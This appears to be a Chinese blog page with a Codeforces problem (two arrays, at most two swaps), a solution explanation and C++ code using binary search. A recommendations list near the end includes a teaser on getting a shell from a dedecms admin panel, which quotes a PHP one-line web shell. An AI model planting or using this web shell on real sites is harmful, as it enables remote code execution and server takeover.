D. Professor GukiZ and Two Arrays

题目连接:

http://www.codeforces.com/contest/620/problem/D

Description

Professor GukiZ has two arrays of integers, a and b. Professor wants to make the sum of the elements in the array a sa as close as possible to the sum of the elements in the array b sb. So he wants to minimize the value v = |sa - sb|.

In one operation professor can swap some element from the array a and some element from the array b. For example if the array a is [5, 1, 3, 2, 4] and the array b is [3, 3, 2] professor can swap the element 5 from the array a and the element 2 from the array b and get the new array a [2, 1, 3, 2, 4] and the new array b [3, 3, 5].

Professor doesn't want to make more than two swaps. Find the minimal value v and some sequence of no more than two swaps that will lead to the such value v. Professor makes swaps one by one, each new swap he makes with the new arrays a and b.

Input

The first line contains integer n (1 ≤ n ≤ 2000) — the number of elements in the array a.

The second line contains n integers ai ( - 109 ≤ ai ≤ 109) — the elements of the array a.

The third line contains integer m (1 ≤ m ≤ 2000) — the number of elements in the array b.

The fourth line contains m integers bj ( - 109 ≤ bj ≤ 109) — the elements of the array b.

Output

In the first line print the minimal value v = |sa - sb| that can be got with no more than two swaps.

The second line should contain the number of swaps k (0 ≤ k ≤ 2).

Each of the next k lines should contain two integers xp, yp (1 ≤ xp ≤ n, 1 ≤ yp ≤ m) — the index of the element in the array a and the index of the element in the array b in the p-th swap.

If there are several optimal solutions print any of them. Print the swaps in order the professor did them.

Sample Input

5

5 4 3 2 1

4

1 1 1 1

Sample Output

1

2

1 1

4 2

Hint

题意

给你两个数组,a数组和b数组

你可以用a数组中的一个数,交换到b数组去

然后使得abs(suma-sumb)最小

你最多交换两次

让你输出方案

题解:

交换0次和交换一次,显然可以直接暴力出来

现在考虑交换两次的情况,交换两次之后,答案为s-2*a[i]-2*a[j]+2*b[i]-2*b[j](s为原来未交换的时候,两个数组的差值

我们把所有的(a[i],a[j])都存起来,为了使两数组之差最小,显然2*(b[i]+b[j])应该找到大于等于(2*(a[i]+a[j])-s)的第一个数

然后这个东西直接二分就好了

然后这道题就结束了。。

代码

#include<bits/stdc++.h>
using namespace std; const int maxn = 2050;
int a[maxn];
int b[maxn];
pair<int,int> ans1;
pair<int,int> ans21,ans22;
pair<long long ,pair<int,int> >two[maxn*maxn+5];
int tot = 0;
int main()
{
long long s = 0;
int n;scanf("%d",&n);
for(int i=1;i<=n;i++)
scanf("%d",&a[i]),s+=a[i];
int m;scanf("%d",&m);
for(int i=1;i<=m;i++)
scanf("%d",&b[i]),s-=b[i];
long long s2 = 1e18;
for(int i=1;i<=n;i++)
{
for(int j=1;j<=m;j++)
{
long long cur = abs(s + 2*b[j] - 2*a[i]);
if(cur<s2)
{
s2 = cur;
ans1=make_pair(i,j);
}
}
}
for(int i=1;i<=m;i++)
for(int j=i+1;j<=m;j++)
two[++tot]=make_pair(2ll*b[i]+2ll*b[j],make_pair(i,j));
sort(two+1,two+1+tot);
long long s3 = 1e18;
for(int i=1;i<=n;i++)
{
for(int j=i+1;j<=n;j++)
{
long long tmp = 2ll*a[i]+2ll*a[j]-s;
int p = lower_bound(two+1,two+1+tot,make_pair(tmp,make_pair(0,0)))-two;
for(int t=max(1,p-2);t<=min(tot,p+2);t++)
{
long long cur = abs(s+two[t].first-2ll*a[i]-2ll*a[j]);
if(cur<s3)
{
s3 = cur;
ans21 = make_pair(i,two[t].second.first);
ans22 = make_pair(j,two[t].second.second);
}
}
}
}
long long ans = min(min(abs(s),abs(s2)),abs(s3));
printf("%lld\n",ans);
if(ans==s)
printf("0\n");
else if(abs(s2)==ans)
{
printf("1\n");
printf("%d %d\n",ans1.first,ans1.second);
}
else
{
printf("2\n");
printf("%d %d\n%d %d\n",ans21.first,ans21.second,ans22.first,ans22.second);
}
}

Educational Codeforces Round 6 D. Professor GukiZ and Two Arrays 二分的更多相关文章

  1. Educational Codeforces Round 6 D. Professor GukiZ and Two Arrays

    Professor GukiZ and Two Arrays 题意:两个长度在2000的-1e9~1e9的两个序列a,b(无序);要你最多两次交换元素,使得交换元素后两序列和的差值的绝对值最小:输出这 ...

  2. Educational Codeforces Round 6 A. Professor GukiZ's Robot 水

    A. Professor GukiZ's Robot   Professor GukiZ makes a new robot. The robot are in the point with coor ...

  3. Codeforces Educational Codeforces Round 3 D. Gadgets for dollars and pounds 二分,贪心

    D. Gadgets for dollars and pounds 题目连接: http://www.codeforces.com/contest/609/problem/C Description ...

  4. Educational Codeforces Round 64 (Rated for Div. 2) (线段树二分)

    题目:http://codeforces.com/contest/1156/problem/E 题意:给你1-n  n个数,然后求有多少个区间[l,r] 满足    a[l]+a[r]=max([l, ...

  5. Educational Codeforces Round 3 D. Gadgets for dollars and pounds 二分+前缀

    D. Gadgets for dollars and pounds time limit per test 2 seconds memory limit per test 256 megabytes ...

  6. Educational Codeforces Round 61 (Rated for Div. 2)D(二分,模拟,思维)

    #include<bits/stdc++.h>using namespace std;typedef long long ll;int n,k;ll a[200007],b[200007] ...

  7. Educational Codeforces Round 21 D - Array Division (前缀和+二分)

    传送门 题意 将n个数划分为两块,最多改变一个数的位置, 问能否使两块和相等 分析 因为我们最多只能移动一个数x,那么要么将该数往前移动,要么往后移动,一开始处理不需要移动的情况 那么遍历sum[i] ...

  8. Educational Codeforces Round 80 (Rated for Div. 2)D(二分答案,状压检验)

    这题1<<M为255,可以logN二分答案后,N*M扫一遍表把N行数据转化为一个小于等于255的数字,再255^2检验答案(比扫一遍表复杂度低),复杂度约为N*M*logN #define ...

  9. Educational Codeforces Round 77 (Rated for Div. 2)D(二分+贪心)

    这题二分下界是0,所以二分写法和以往略有不同,注意考虑所有区间,并且不要死循环... #define HAVE_STRUCT_TIMESPEC #include<bits/stdc++.h> ...

随机推荐

  1. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  2. python基础===【爬虫】爬虫糗事百科首页图片代码

    import requests import re import urllib.request def getHtml(url): page = requests.get(url) html = pa ...

  3. nodejs 使用redis 管理session

    一.在开发机安装redis并远程连接 因本人的远程开发机配置原因,使用jumbo安装redis 首先登录开发机,并使用jumbo 安装redis:jumbo install redis 查看redis ...

  4. Javascript正则表达式详细讲解和示例,通俗易懂

    正则表达式可以: •测试字符串的某个模式.例如,可以对一个输入字符串进行测试,看在该字符串是否存在一个电话号码模式或一个信用卡号码模式.这称为数据有效性验证 •替换文本.可以在文档中使用一个正则表达式 ...

  5. H5对安卓WeView开发中的影响

     1.body,或者html 高度为100% 会导致下拉直接触发原生的刷新控件,而不是webView滑动到顶部后刷新,以及不会执行onScrollChanged 方法,并且getScrollY 总是返 ...

  6. Leetcode 之Largest Rectangle in Histogram(40)

    又是一道构思巧妙的题,暴力求解复杂度太高,通过构造一个递增栈来解决:如果当前元素小于栈顶元素,则说明栈内已经构成一个 递增栈,则分别计算以每个元素为最低值的面积:反之,则入栈. int largest ...

  7. php的设计模式

    1.单一职责原则 单一职责原则(Single Responsibility Principle) 含义:1.避免相同的职责分散到不同的类中,2.避免一个类承担太多的职责: srp的好处: 减少类之间的 ...

  8. 关于大O法的几点解释

    大O表示法指出算法有多快.例如,假设列表包含n个元素.简单查找需要检查每个元素,因此需要执行n次操作.使用大O表示法,这个运行时间为O(n).主要单位不是秒啊,大O表示法值得并非以秒为单位的速度,而是 ...

  9. selenium+python自动化80-文件下载(不弹询问框)【转载】

    转至博客:上海-悠悠 前言 上一篇是点弹出框上的按钮去保存文件,本篇介绍一种更加优雅的方法,加载Firefox和Chrome的配置文件,不弹出询问框后台下载. 一.FirefoxProfile 1.点 ...

  10. 对于mysql加索引,删除索引,添加列,删除列,修改列顺序的最佳办法测试

    1.首先进行数据训的XltraBackup备份,有备无患,切记切记! 2.mysql -uroot -pD******** -- 导出csv文件 use dsideal_db; MariaDB [ds ...